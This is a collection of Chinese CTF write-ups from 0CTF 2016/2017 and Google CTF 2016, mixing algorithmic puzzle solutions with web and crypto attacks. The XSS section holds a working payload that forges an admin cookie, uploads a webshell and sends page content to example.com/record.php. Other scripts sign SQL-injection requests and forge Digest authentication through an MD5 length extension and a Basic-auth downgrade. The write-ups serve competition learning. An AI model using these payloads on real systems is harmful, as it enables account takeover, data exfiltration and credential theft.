------WebKitFormBoundaryJPbDrUHm4bYPsH4Q-- 114 | ``` -------------------------------------------------------------------------------- /0CTF2016/xor.txt: -------------------------------------------------------------------------------- 1 | # xor painter 4pts 2 | 下下来一个一堆坐标的文件,一开始以为是每行是一条直线两个端点的坐标(x1, y1, x2, y2),画出来然后直线的交叉点异或处理。后来画出来一个三角形区域,就知道了是(x1, x2, y1, y2)。在画出来一个正方形区域里一坨雪花,仔细想想后发现应该是每行表示一个矩形而不是直线,然后问题就变成了顶点上矩形覆盖数的奇偶性问题,用二维线段树去弄,复杂度才可以接受,就是poj2155原题。懒得写二维线段树就上网随便抄了段题解代码跑(oi的代码果然还是不可靠各种崩,换了n种版本终于不崩了),找了个大内存机器后强行开几G数组跑线段树,发现画出来一个似是而非的东西,中间一坨1像素的直线干扰,如下: 3 | 4 | ![错误的图](xor_wrong.png) 5 | 6 | 后来在开了脑洞,估计就是右下角坐标需要-1,也就是这矩形区域是左闭右开的,然后就画出对的图了,就是一张18000*18000的图里面有大概几个像素大小的字母散落在大图的各处....还需要后续处理一下... 7 | 8 | 二维线段树的c++代码,算法部分直接抄自网上某角落的题解: 9 | ```cpp 10 | 11 | #define SIZE (18000) 12 | #define maxn (72010) 13 | #define DIR "./" 14 | 15 | #define LINE_NUM (13663881) 16 | #include 17 | #include 18 | #include 19 | 20 | using namespace std; 21 | bool *tree[maxn]; 22 | int n; 23 | bool sum; 24 | 25 | /* 26 | 更新子线段树,tl、tr对应子矩阵的y1、y2,即要更新的范围。 27 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx 28 | rt:子线段树的节点序号 29 | L,R为子线段树节点rt的两端点 30 | */ 31 | void updatey(int rtx, int rt, int tl, int tr, int L, int R) { 32 | //一开始弄反了,写成L<=tl && tr<=R。。。 33 | //要注意,应该是所在节点rt的区间在所要更新的节点范围里,更新节点rt的区间对应的值 34 | if (tl <= L && R <= tr) { 35 | tree[rtx][rt] = !tree[rtx][rt]; //对属于更新范围里的子矩阵进行取反 36 | return; 37 | } 38 | int mid = (L + R) >> 1; 39 | //下面部分也可以换成注释掉的语句 40 | if (tl <= mid) 41 | updatey(rtx, rt << 1, tl, tr, L, mid); 42 | if (tr>mid) 43 | updatey(rtx, rt << 1 | 1, tl, tr, mid + 1, R); 44 | /* 45 | if(tr<=mid) 46 | updatey(rtx,rt<<1,tl,tr,L,mid); 47 | else if(tl>mid) 48 | updatey(rtx,rt<<1|1,tl,tr,mid+1,R); 49 | else{ 50 | updatey(rtx,rt<<1,tl,mid,L,mid); 51 | updatey(rtx,rt<<1|1,mid+1,tr,mid+1,R); 52 | } 53 | */ 54 | 55 | 56 | 57 | } 58 | /* 59 | 更新左上角(x1,y1),右下角(xr,yr)的子矩阵区域 60 | 更新时,先在x轴找到对应[xl,xr]区间的点,再找按y轴找到对应[yl,yr]区间的节点 61 | rt:母线段树的节点序号 62 | L,R:rt节点的区间端点 63 | */ 64 | void updatex(int rt, int xl, int xr, int yl, int yr, int L, int R) { 65 | //一开始弄反了,写成L<=xl && xr<=R。。。 66 | if (xl <= L && R <= xr) { 67 | updatey(rt, 1, yl, yr, 0, n); 68 | return; 69 | } 70 | int mid = (L + R) >> 1; 71 | //下面部分也可以换成注释掉的语句 72 | if (xl <= mid) 73 | updatex(rt << 1, xl, xr, yl, yr, L, mid); 74 | if (xr>mid) 75 | updatex(rt << 1 | 1, xl, xr, yl, yr, mid + 1, R); 76 | /* 77 | if(xr<=mid) 78 | updatex(rt<<1,xl,xr,yl,yr,L,mid); 79 | else if(xl>mid) 80 | updatex(rt<<1|1,xl,xr,yl,yr,mid+1,R); 81 | else{ 82 | updatex(rt<<1,xl,mid,yl,yr,L,mid); 83 | updatex(rt<<1|1,mid+1,xr,yl,yr,mid+1,R); 84 | } 85 | */ 86 | 87 | } 88 | /* 89 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到y所在的叶子节点 90 | 因为这里“异或”就相当于lazy标记,所以要获得最后的值,则必须遍历过y所在的所有子矩阵 91 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx 92 | rt:子线段树的节点序号 93 | L,R为子线段树节点rt的两端点 94 | */ 95 | void queryy(int rtx, int rt, int y, int L, int R) { 96 | sum ^= tree[rtx][rt]; //这里注意:要先异或! 97 | if (L != R) { 98 | int mid = (L + R) >> 1; 99 | if (y <= mid) 100 | queryy(rtx, rt << 1, y, L, mid); 101 | else 102 | queryy(rtx, rt << 1 | 1, y, mid + 1, R); 103 | } 104 | } 105 | /* 106 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到点x所在的叶子节点 107 | 因为这里“异或”就相当于lazy标记,所以要获得(x,y)最后的值,则必须遍历过(x,y)点所在的所有子矩阵 108 | rt:母线段树的节点序号 109 | L,R为子线段树节点rt的两端点 110 | x,y为所要查找的点的值 111 | */ 112 | void queryx(int rt, int x, int y, int L, int R) { 113 | queryy(rt, 1, y, 0, n); 114 | //注意:当L> 1; 117 | if (x <= mid) 118 | queryx(rt << 1, x, y, L, mid); 119 | else 120 | queryx(rt << 1 | 1, x, y, mid + 1, R); 121 | } 122 | } 123 | 124 | int main() { 125 | 126 | for (int i = 0; i < maxn; i++) { 127 | tree[i] = new bool[maxn]; 128 | memset(tree[i], 0, sizeof(bool[maxn])); 129 | } 130 | 131 | n = SIZE; 132 | 133 | FILE *f = fopen(DIR"xorlist", "r"); 134 | int x1, y1, x2, y2; 135 | for (int i = 0; i < LINE_NUM; i++) { 136 | fscanf(f, "%d, %d, %d, %d", &x1, &x2, &y1, &y2); 137 | updatex(1, x1, x2-1, y1, y2-1, 0, n); 138 | if (i % 500000 == 0) 139 | printf("%d\n", i); 140 | } 141 | fclose(f); 142 | 143 | f = fopen(DIR"xor.output", "w"); 144 | for (int i = 0; i < SIZE; i++) { 145 | for (int j = 0; j < SIZE; j++) { 146 | sum = false; 147 | queryx(1, x1, y1, 0, n); 148 | fprintf(f, "%c", sum ? '1' : '0'); 149 | } 150 | if(i%10==0) printf("%d\n", i); 151 | fprintf(f, "\n"); 152 | } 153 | fclose(f); 154 | 155 | return 0; 156 | } 157 | ``` 158 | 159 | 160 | 用PIL把输出画成大图: 161 | ```python 162 | from PIL import Image 163 | def draw(): 164 | size = 18000 165 | a=open('./xor.output','rb').read() 166 | a=a.replace('\r','').split('\n') 167 | b=Image.new('L',(size,size)) 168 | for i in xrange(size): 169 | if i%100==0: print i 170 | for j in xrange(size): 171 | b.putpixel((j, i), 255 if a[i][j]=='1' else 0) 172 | b.resize((1000,1000)).save('./xor3.bmp') 173 | b.save('./xor_original3.png') 174 | ``` 175 | 176 | 找字母用代码,把图片和对应坐标打出来: 177 | ```python 178 | import Image 179 | img = Image.open('./xor_original3.png') 180 | counter = 0 181 | x=0 182 | while x<180: 183 | print x 184 | y=0 185 | while y<180: 186 | flag = 0 187 | for i in xrange(100): 188 | for j in xrange(100): 189 | if img.getpixel((y*100+j, x*100+i)) == 0: 190 | flag += 1 191 | if flag > 10: break 192 | if flag > 10: break 193 | if flag > 10: 194 | counter += 1 195 | img.crop((y*100, x*100, (y+1)*100-1, (x+1)*100-1)).save('xor/%d_%d_%d.png' % (counter, x, y)) 196 | y+=1 197 | counter += 1 198 | img.crop((0, 0, 99, 99)).save('xor/%d.png' % counter) 199 | x+=1 200 | ``` 201 | 202 | 画出来这样的一堆图: 203 | ![小字母](xor_segment.png) 204 | 205 | 人肉识别一下: 206 | ``` 207 | 10_9_19.png 0 208 | 115_89_35.png B 209 | 117_90_35.png B 210 | 121_93_73.png i 211 | 124_95_89.png G 212 | 126_96_6.png _ 213 | 127_96_7.png _ 214 | 128_96_89.png G 215 | 12_10_18.png 0 216 | 134_101_127.png _ 217 | 135_101_144.png B 218 | 13_10_19.png 0 219 | 152_117_125.png p 220 | 155_119_44.png t 221 | 163_126_14.png i 222 | 164_126_74.png m 223 | 165_126_89.png a 224 | 167_127_89.png a 225 | 16_12_46.png c 226 | 170_129_152.png } 227 | 17_12_92.png f 228 | 19_13_92.png f 229 | 22_15_66.png t 230 | 26_18_122.png { 231 | 27_18_149.png 5 232 | 50_40_19.png m 233 | 51_40_20.png m 234 | 53_41_19.png m 235 | 54_41_20.png m 236 | 55_41_118.png _ 237 | 58_43_153.png f 238 | 61_45_72.png L 239 | 62_45_73.png L 240 | 64_46_44.png @ 241 | 66_47_89.png L 242 | 84_64_70.png g 243 | 89_68_119.png # 244 | 93_71_36.png @ 245 | 95_72_94.png _ 246 | 96_72_144.png n 247 | 98_73_13.png L 248 | ``` 249 | 250 | 重新渲染一张图... 251 | ```python 252 | >>> zip(b,c) 253 | [((9, 19), '0'), ((89, 35), 'B'), ((90, 35), 'B'), ((93, 73), 'i'), ((95, 89), 'G'), ((96, 6), '_'), ((96, 7), '_'), ((96, 89), 'G'), ((10, 18), '0'), ((101, 127), '_'), ((101, 144), 'B'), ((10, 19), '0'), ((117, 125), 'p'), ((119, 44), 't'), ((126, 14), 'i'), ((126, 74), 'm'), ((126, 89), 'a'), ((127, 89), 'a'), ((12, 46), 'c'), ((129, 152), '}'), ((12, 92), 'f'), ((13, 92), 'f'), ((15, 66), 't'), ((18, 122), '{'), ((18, 149), '5'), ((40, 19), 'm'), ((40, 20), 'm'), ((41, 19), 'm'), ((41, 20), 'm'), ((41, 118), '_'), ((43, 153), 'f'), ((45, 72), 'L'), ((45, 73), 'L'), ((46, 44), '@'), ((47, 89), 'L'), ((64, 70), 'g'), ((68, 119), '#'), ((71, 36), '@'), ((72, 94), '_'), ((72, 144), 'n'), ((73, 13), 'L')] 254 | >>> a=Image.new('L',(180,180)) 255 | >>> dr=ImageDraw.Draw(a) 256 | >>> for i,j in zip(b,c): 257 | ... dr.text(i, unicode(j,'UTF-8'), font=font, fill=255) 258 | ... 259 | >>> a.show() 260 | >>> a.save('flag.png') 261 | ``` 262 | 263 | 得到flag: 264 | ![flag](xor_flag.bmp) 265 | -------------------------------------------------------------------------------- /0CTF2016/xor_flag.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/xor_flag.bmp -------------------------------------------------------------------------------- /0CTF2016/xor_segment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/xor_segment.png -------------------------------------------------------------------------------- /0CTF2016/xor_wrong.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/xor_wrong.png -------------------------------------------------------------------------------- /0CTF2017/README.md: -------------------------------------------------------------------------------- 1 | ## py 2 | 3 | 利用`marshal.loads`我们人肉扣出encrypt字节码,并根据常量发现了pip里有rotor模块,对着字节码进行了如下脑洞: 4 | ``` 5 | \x99\x01\x00 load consts key_a="!@#$%^&*" 6 | \x68\x01\x00 store 7 | 8 | \x99\x02\x00 load consts key_b="abcdefgh" 9 | \x68\x02\x00 store 10 | 11 | \x99\x03\x00 load consts key_c="<>{}:"" 12 | \x68\x03\x00 store 13 | 14 | \x61\x01\x00 load_f key_a 15 | \x99\x04\x00 load consts 4 16 | \x46 * key_a * 4 17 | 18 | \x99\x05\x00 load consts | 19 | \x27 + key_a * 4 + "|" 20 | 21 | \x61\x02\x00 load_f key_b 22 | \x61\x01\x00 load_f key_a 23 | \x27 + 24 | 25 | \x61\x03\x00 load_f key_c 26 | \x27 + key_b + key_a + key_c 27 | 28 | \x99\x06\x00 load consts 2 29 | \x46 * (key_b + key_a + key_c) * 2 30 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2 31 | 32 | \x99\x05\x00 load consts | 33 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|" 34 | 35 | \x61\x02\x00 load_f key_b 36 | \x99\x06\x00 load consts 2 37 | \x46 * key_b * 2 38 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|" + key_b * 2 39 | 40 | \x99\x07\x00 load consts "EOF" 41 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|" + key_b * 2 + "EOF" 42 | 43 | \x68\x04\x00 store secret = key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|" + key_b * 2 + "EOF" 44 | \x9b\x00\x00 IMPORT rotor 45 | \x60\x01\x00 PUSH rotor.rotor 46 | 47 | \x61\x04\x00 load_f secret 48 | \x83\x01\x00 CALL # rotor.rotor(secret) 49 | 50 | \x68\x05\x00 store rot = rotor.rotor(secret) 51 | \x61\x05\x00 load_f rot 52 | \x60\x02\x00 PUSH rot.encrypt 53 | 54 | \x61\x00\x00 load_f data 55 | \x83\x01\x00 CALL # rot.encrypt(data) 56 | 57 | \x53 return 58 | ``` 59 | 60 | 其实`\x27`很容易就猜出来是字符串拼接`+`,但是`\x46`我们一开始猜测是SLICE+1, SLICE+2 (即string[x:]和string[:x])折腾了好久,后来才脑洞出来字符串操作还有一个`*`.... 61 | 于是就出来了,把secret扔进去rotor模块在decrypt一下就好。 62 | 63 | ## KoG 64 | 65 | 发现`Module.main`会对参数为纯数字的时候进行签名后,传给api.php,但有其他字符时不予签名。 66 | 仔细观察`functionn.js`,可以发现经过c++符号修饰的函数名,可以扔到`c++filt`里查看: 67 | ``` 68 | ~$ c++filt _ZN5HASH16updateEPKhj 69 | HASH1::update(unsigned char const*, unsigned int) 70 | ``` 71 | 可知有个HASH1的类,仔细寻找代码里隐藏的常数可以知道是md5。 72 | 73 | 74 | ```javascript 75 | function __ZN5HASH16updateEPKhj($this,$input,$length) { 76 | $this = $this|0; 77 | $input = $input|0; 78 | $length = $length|0; 79 | ``` 80 | 然后在上面的`__ZN5HASH16updateEPKhj`update函数入口下断点,每次停下的时候在console里把`HEAP`里的`$input`指针指向的位置打出来看看,就知道传入了哪些字符串。一开始程序会传入"Start_here_"作为提示,但后来发现这个字符串是不需要的。事实上,把其他传进来的字符串拼接后,发现`functionn.js`做的就是return md5("d727d11f6d284a0d%s This_is_salt%s" % (payload, timestamp)),然后我们就可以自己对payload签名了,在payload中进行sql注入即可。 81 | 82 | 83 | 脚本如下: 84 | ```py 85 | # __ZN5HASH16updateEPKhj 86 | payload = sys.argv[1] 87 | print payload 88 | hash = hashlib.md5("d727d11f6d284a0d%s This_is_salt1489820887"%payload).hexdigest() 89 | print requests.get('http://202.120.7.213:11181/api.php', params={'id':payload, 'hash':hash, 'time':'1489820887'}).text 90 | ``` 91 | 92 | ## Complicated XSS 93 | 94 | 输入`admin.government.vip:8000`会跳转到`admin.government.vip:8000/login`进行登录, 95 | 登录后在`admin.government.vip:8000/`处,发现Cookie中的username字段会直接打到HTML页面上,这里可以进行二次XSS。 96 | 所以在原始payload中,要设置cookie如`username=;domain=.government.vip;path=/`来进行2次XSS,在`admin.government.vip:8000`下XSS就没有域限制。 97 | 98 | 99 | 原始payload脚本(第一次XSS)如下: 100 | ```py 101 | def solve(cap): 102 | print 'cap: %s' % cap 103 | for i in xrange(1000000000): 104 | if hashlib.md5(str(i)).hexdigest()[:len(cap)] == cap: 105 | return str(i) 106 | 107 | s = requests.session() 108 | resp = s.get('http://government.vip/').text 109 | resp = resp[resp.index(" === '")+len(" === '"):] 110 | resp = resp[:6] 111 | task = solve(resp) 112 | data = {"task": task, 'payload': ''' 113 | ;domain=.government.vip;path=/''')); 131 | document.write(''); 132 | 133 | ''', 'submit':'submit'} 134 | print s.post('http://government.vip/run.php', data=data, headers={'Content-Type':'application/x-www-form-urlencoded'}).text 135 | ``` 136 | 137 | 138 | `http://example.com/xss.js`要做的事情如下: 139 | 1. 恢复cookie中的username为admin 140 | 2. 因为`admin.government.vip:8000/`中`delete XMLHttpRequest`,我们可以从``中的contentWindow中把XMLHttpRequest恢复出来。 141 | 3. 使用恢复后的XMLHttpRequest,用恢复后的Cookie: username=admin把``的页面内容回传。 142 | 143 | 144 | 回传后,发现admin的`admin.government.vip:8000/`页面不是flag而是一个让你上传webshell的表单,那么接下来我们只需要把第三步改成: 145 | 3. 使用恢复后的XMLHttpRequest,用恢复后的Cookie: username=admin,往`/upload`POST一个webshell文件(其实什么内容都可以),把response回传。 146 | 147 | 148 | `http://example.com/xss.js`如下: 149 | ```javascript 150 | //'username=admin;domain=.government.vip;path=/' 151 | document.cookie=atob('dXNlcm5hbWU9YWRtaW47ZG9tYWluPS5nb3Zlcm5tZW50LnZpcDtwYXRoPS8='); 152 | document.write(""); 153 | 154 | function send2(x, p) { 155 | var xhr = new XMLHttpRequest(); 156 | xhr.onreadystatechange = function() { 157 | }; 158 | xhr.open('POST', 'http://example.com/record.php?'+p+'='+btoa(x), true); 159 | xhr.send(null); 160 | } 161 | 162 | setTimeout(function(){ 163 | var arr = ["Function","eval","alert","XMLHttpRequest","Proxy","Image","postMessage"]; 164 | for(var i in arr) { 165 | i = arr[i]; 166 | window[i] = document.getElementById('iij').contentWindow[i]; 167 | } 168 | 169 | function send(url, data) { 170 | var xhr = new XMLHttpRequest(); 171 | xhr.open("POST", url, true); 172 | xhr.onreadystatechange = function () { 173 | if (xhr.readyState == 4) 174 | send2(xhr.responseText, 'resp'); 175 | }; 176 | var d = new FormData(); 177 | d.append('file', new Blob([data]), 'agrnhte.php'); 178 | xhr.send(d); 179 | } 180 | 181 | send("http://admin.government.vip:8000/upload", 'aaa'); 182 | }, 1000); 183 | 184 | ``` 185 | 186 | 187 | 其实过程中遇到了玄学问题,比如它回传个400 BAD REQUEST什么就不谈了... 188 | 189 | 190 | ## simpleXSS 191 | 192 | XSS payload只允许使用大小写字母数字加上`<^*~\-|_=+`这些特殊符号,那么大概只有两种方案: 193 | 1. 利用onload=A=B 可以作一句给A(通常是location)赋值B的简单js赋值操作 194 | 2. 利用某些奇怪的HTML标签特性 195 | 196 | 197 | 比赛时感觉方向1行不通,于是我走了方向2的思路。但方向1还真让某`LC↯BC`队https://ctftime.org/writeup/5956 脑洞出来了个奇葩思路,只能佩服下RMB玩家...不对,应该是$12.95 Dollar玩家orz 198 | 199 | 200 | 我们(nao)想(dong)出来的payload有如下几个关键点: 201 | 1. Chrome会把域名中的`。`(全角句号)理解成`.` 202 | 2. ` len(tmp): 53 | tmp += self._socket.recv(bufsize - len(tmp)) 54 | return tmp 55 | except socket.timeout: 56 | if dontraise: 57 | return b'' 58 | else: 59 | raise 60 | 61 | def recv_to_buf(self, bufsize=10000, timeout=DEFAULT_TIMEOUT, dontraise=False): 62 | if bufsize <= 0: return 63 | self._socket.settimeout(timeout) 64 | recvLen = 0 65 | flag = True 66 | while flag: 67 | try: 68 | recvData = self._socket.recv(bufsize-recvLen) 69 | recvLen += len(recvData) 70 | #print recvLen, bufsize 71 | self.buf += recvData 72 | flag = False 73 | except socket.timeout: 74 | if not dontraise: 75 | raise 76 | 77 | def getFromBuf(self, size): 78 | tmp = self.buf[:size] 79 | self.buf = self.buf[len(tmp):] 80 | return tmp 81 | 82 | def recvn(self, n, timeout=DEFAULT_TIMEOUT, dontraise=False): 83 | """Receive and Return exact n bytes""" 84 | while len(self.buf) < n: 85 | self.recv_to_buf(bufsize=n-len(self.buf), timeout=timeout, dontraise=dontraise) 86 | return self.getFromBuf(n) 87 | 88 | def recv_until(self, keywords, timeout=DEFAULT_TIMEOUT): 89 | """Receive incoming data until one of the provided keywords is found.""" 90 | notFound = 99999999 91 | index = notFound 92 | 93 | if isinstance(keywords, str): 94 | aim_keyword = keywords 95 | index = self.buf.find(keywords) 96 | elif isinstance(keywords, list): 97 | for keyword in keywords: 98 | tmp = self.buf.find(keyword) 99 | if tmp != -1 and tmp < index: 100 | index = tmp 101 | aim_keyword = keyword 102 | else: 103 | raise 104 | 105 | if index == notFound or index == -1: 106 | self.recv_to_buf() 107 | return self.recv_until(keywords, timeout) 108 | return self.getFromBuf(index+len(aim_keyword)) 109 | 110 | def recv_until_match(self, regex, group=0, timeout=DEFAULT_TIMEOUT): 111 | """Receive incoming data until it matches the given regex.""" 112 | if isinstance(regex, str): 113 | regex = re.compile(regex) 114 | match = regex.search(self.buf) 115 | if match == None: 116 | self.recv_to_buf() 117 | return self.recv_until_match(regex, timeout) 118 | match = match.group(group) 119 | index = self.buf.find(match) 120 | dummy = self.getFromBuf(index) 121 | return self.getFromBuf(len(match)) 122 | 123 | def send(self, data): 124 | """Send all data to the remote end or raise an exception.""" 125 | self._socket.sendall(data) 126 | 127 | def send_line(self, data): 128 | """Send all data to the remote end or raise an exception. Appends a \\n.""" 129 | self.send(data + b'\n') 130 | 131 | def interact(self): 132 | """Interact with the remote end.""" 133 | try: 134 | while True: 135 | sys.stdout.write(self.recv(timeout=.05, dontraise=True)) 136 | available, _, _ = select.select([sys.stdin], [], [], .05) 137 | if available: 138 | data = sys.stdin.readline() 139 | self.send(data) 140 | except KeyboardInterrupt: 141 | return 142 | -------------------------------------------------------------------------------- /GoogleCTF2016/exchange.proto: -------------------------------------------------------------------------------- 1 | package main; 2 | 3 | message Exchange { 4 | enum VerbType { 5 | GET = 0; 6 | POST = 1; 7 | } 8 | 9 | message Header { 10 | required string key = 1; 11 | required string value = 2; 12 | } 13 | 14 | message Request { 15 | required VerbType ver = 1; // GET 16 | required string uri = 2; // /blah 17 | repeated Header headers = 3; // Accept-Encoding: blah 18 | optional bytes body = 4; 19 | } 20 | 21 | message Reply { 22 | required int32 status = 1; // 200 or 302 23 | repeated Header headers = 2; 24 | optional bytes body = 3; 25 | } 26 | 27 | oneof type { 28 | Request request = 1; 29 | Reply reply = 2; 30 | } 31 | } -------------------------------------------------------------------------------- /GoogleCTF2016/exchange.py: -------------------------------------------------------------------------------- 1 | import exchange_pb2 2 | import time 3 | import connection 4 | import hashlib 5 | import pymd5, sys 6 | 7 | reload(sys) 8 | sys.setdefaultencoding("windows-1252") 9 | 10 | def l32(i): 11 | ret = '' 12 | ret += chr((i>>0)&0xFF) 13 | ret += chr((i>>8)&0xFF) 14 | ret += chr((i>>16)&0xFF) 15 | ret += chr((i>>24)&0xFF) 16 | return ret 17 | 18 | def unl32(s): 19 | assert len(s) == 4 20 | ret = 0 21 | ret += ord(s[0]) 22 | ret += ord(s[1]) << 8 23 | ret += ord(s[2]) << 16 24 | ret += ord(s[3]) << 24 25 | return ret 26 | 27 | def recv_protobuf(conn): 28 | length = unl32(conn.recvn(4)) 29 | return exchange_pb2.Exchange.FromString(conn.recvn(length)) 30 | 31 | def send_protobuf(conn, protobuf): 32 | data = protobuf.SerializeToString() 33 | length = l32(len(data)) 34 | conn.send(length+data) 35 | 36 | def thru_protobuf(conn, isPrinted=True): 37 | ex = recv_protobuf(conn) 38 | if isPrinted: print ex 39 | send_protobuf(conn, ex) 40 | 41 | 42 | 43 | def calcPass(user, realm, password, method, uri, nonce, nonceCount, cnonce): 44 | ha1 = hashlib.md5(user+':'+realm+':'+password).hexdigest() 45 | ha2 = hashlib.md5(method+':'+uri).hexdigest() 46 | return hashlib.md5(ha1+':'+nonce+':'+nonceCount+':'+cnonce+':auth:'+ha2).hexdigest() 47 | 48 | def md5_padding(st, block_num): 49 | st = st.encode('windows-1252') 50 | ori_len = 512*block_num + len(st)*8 51 | st += "\x80" 52 | assert len(st) < 56 53 | while len(st) != 56: 54 | st += '\x00' 55 | st += l32(ori_len) 56 | st += l32(0) 57 | return st 58 | 59 | def md5(st): 60 | return hashlib.md5(st).hexdigest() 61 | 62 | def md5_append_last_block(md5str, ori, oriblocknum): 63 | ori = md5_padding(ori, oriblocknum) 64 | 65 | a = unl32(md5str[:8].decode('hex')) 66 | b = unl32(md5str[8:16].decode('hex')) 67 | c = unl32(md5str[16:24].decode('hex')) 68 | d = unl32(md5str[24:32].decode('hex')) 69 | 70 | md5obj = pymd5.md5() 71 | md5obj.state =(a, b, c, d) 72 | md5obj.update(ori) 73 | return md5obj.final(False).encode('hex') 74 | 75 | def pure_md5(s): 76 | md5obj = pymd5.md5() 77 | md5obj.update(s) 78 | return md5obj.final(False).encode('hex') 79 | 80 | ''' 81 | md5obj = pymd5.md5() 82 | md5obj.update('a'*64) 83 | md5obj.update(md5_padding('aaaaa')) 84 | print md5obj.final(False).encode('hex') 85 | print md5('a'*64+'aaaaa') 86 | exit() 87 | ''' 88 | assert md5_append_last_block(md5('a'*64+'abc'), 'c', 2) == md5('a'*64+md5_padding('abc', 1)+'c') 89 | 90 | proxy = None 91 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 12001), proxy, True) 92 | 93 | req_ex = recv_protobuf(conn) 94 | req_ex.request.uri = '/protected/secret' 95 | send_protobuf(conn, req_ex) 96 | print req_ex 97 | 98 | reply_ex = recv_protobuf(conn) 99 | nonce = reply_ex.reply.headers[1].value[reply_ex.reply.headers[1].value.find('nonce="')+7:] 100 | nonce = nonce[:nonce.find('"')] 101 | send_protobuf(conn, reply_ex) 102 | print reply_ex 103 | 104 | req_ex = recv_protobuf(conn) 105 | response = req_ex.request.headers[0].value[req_ex.request.headers[0].value.find('response="')+10:] 106 | response = response[:response.find('"')] 107 | cnonce = req_ex.request.headers[0].value[req_ex.request.headers[0].value.find('cnonce="')+8:] 108 | cnonce = cnonce[:cnonce.find('"')] 109 | nc = req_ex.request.headers[0].value[req_ex.request.headers[0].value.find('nc=')+3:] 110 | nc = nc[:nc.find(',')] 111 | 112 | ha1 = md5("Mufasa:testrealm@host.com:Circle Of Life") 113 | 114 | inner = ha1+':%s:%s:%s:auth:%s' % (nonce, nc, cnonce, md5('GET:/protected/joke')) 115 | assert md5(inner) == calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/protected/joke", nonce, nc, cnonce) 116 | 117 | cn2 = inner[64:] 118 | cn1 = cnonce[:cnonce.find(cn2[:cn2.find(':')])] 119 | 120 | print cn1, cn2 121 | 122 | new_tail = ':auth:'+md5('GET:/protected/token') 123 | assert md5_append_last_block(md5(inner), new_tail, 2) == md5(inner[:64]+md5_padding(cn2, 1)+new_tail) 124 | assert md5(inner) == pure_md5(inner[:64]+md5_padding(cn2, 1)) 125 | new_response = md5_append_last_block(response, new_tail, 2) 126 | new_cnonce = cn1+md5_padding(cn2, 1) 127 | 128 | new_inner = ha1+(':%s:%s:%s' % (nonce, nc, new_cnonce))+new_tail 129 | assert md5_append_last_block(md5(inner), new_tail, 2) == calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/protected/token", nonce, nc, new_cnonce) == md5(new_inner) 130 | 131 | req_ex.request.headers[0].value = req_ex.request.headers[0].value.decode('utf-8') 132 | req_ex.request.headers[0].value = req_ex.request.headers[0].value.encode('windows-1252').replace(cnonce, new_cnonce).replace(response, new_response).replace('/joke', '/token') 133 | 134 | req_ex.request.uri = '/protected/token' 135 | 136 | send_protobuf(conn, req_ex) 137 | print req_ex, req_ex.request.headers[0].value.encode('hex') 138 | thru_protobuf(conn, True) 139 | 140 | -------------------------------------------------------------------------------- /GoogleCTF2016/exchange2.py: -------------------------------------------------------------------------------- 1 | import exchange_pb2 2 | import time 3 | import connection 4 | import hashlib 5 | 6 | def l32(i): 7 | ret = '' 8 | ret += chr((i>>0)&0xFF) 9 | ret += chr((i>>8)&0xFF) 10 | ret += chr((i>>16)&0xFF) 11 | ret += chr((i>>24)&0xFF) 12 | return ret 13 | 14 | def unl32(s): 15 | assert len(s) == 4 16 | ret = 0 17 | ret += ord(s[0]) 18 | ret += ord(s[1]) << 8 19 | ret += ord(s[2]) << 16 20 | ret += ord(s[3]) << 24 21 | return ret 22 | 23 | def recv_protobuf(conn): 24 | length = unl32(conn.recvn(4)) 25 | return exchange_pb2.Exchange.FromString(conn.recvn(length)) 26 | 27 | def send_protobuf(conn, protobuf): 28 | data = protobuf.SerializeToString() 29 | length = l32(len(data)) 30 | conn.send(length+data) 31 | 32 | 33 | proxy = None 34 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 20691), proxy, True) 35 | 36 | ex = recv_protobuf(conn) 37 | send_protobuf(conn, ex) 38 | 39 | ex = recv_protobuf(conn) 40 | ex.reply.headers[1].value = 'Basic realm="In the realm of hackers"' 41 | send_protobuf(conn, ex) 42 | 43 | ex = recv_protobuf(conn) 44 | cred = ex.request.headers[0].value.replace('Basic ', '').decode('base64').split(':') 45 | ex.request.uri = '/protected/secret' 46 | send_protobuf(conn, ex) 47 | 48 | def calcPass(user, realm, password, method, uri, nonce, nonceCount, cnonce): 49 | ha1 = hashlib.md5(user+':'+realm+':'+password).hexdigest() 50 | ha2 = hashlib.md5(method+':'+uri).hexdigest() 51 | return hashlib.md5(ha1+':'+nonce+':'+nonceCount+':'+cnonce+':auth:'+ha2).hexdigest() 52 | 53 | assert calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/dir/index.html", "dcd98b7102dd2f0e8b11d0f600bfb0c093", "00000001", "0a4f113b") == "6629fae49393a05397450978507c4ef1" 54 | 55 | reply_ex = recv_protobuf(conn) 56 | print reply_ex 57 | auth = reply_ex.reply.headers[1].value 58 | 59 | opaque = auth[auth.find('opaque="')+8:] 60 | opaque = opaque[:opaque.find('"')] 61 | nonce = auth[auth.find('nonce="')+7:] 62 | nonce = nonce[:nonce.find('"')] 63 | nc = "00000002"*9 64 | cnonce = "0a4f113b"*9 65 | response = calcPass(cred[0], 'In the realm of hackers', cred[1], 'GET', ex.request.uri, nonce, nc, cnonce) 66 | 67 | ex.request.headers[0].value = 'Digest username="%s",realm="%s",nonce="%s",uri="%s",qop=auth,nc=%s,cnonce="%s",response="%s",opaque="%s"' % (cred[0], 'In the realm of hackers', nonce, ex.request.uri, nc, cnonce, response, opaque) 68 | send_protobuf(conn, ex) 69 | 70 | print recv_protobuf(conn) 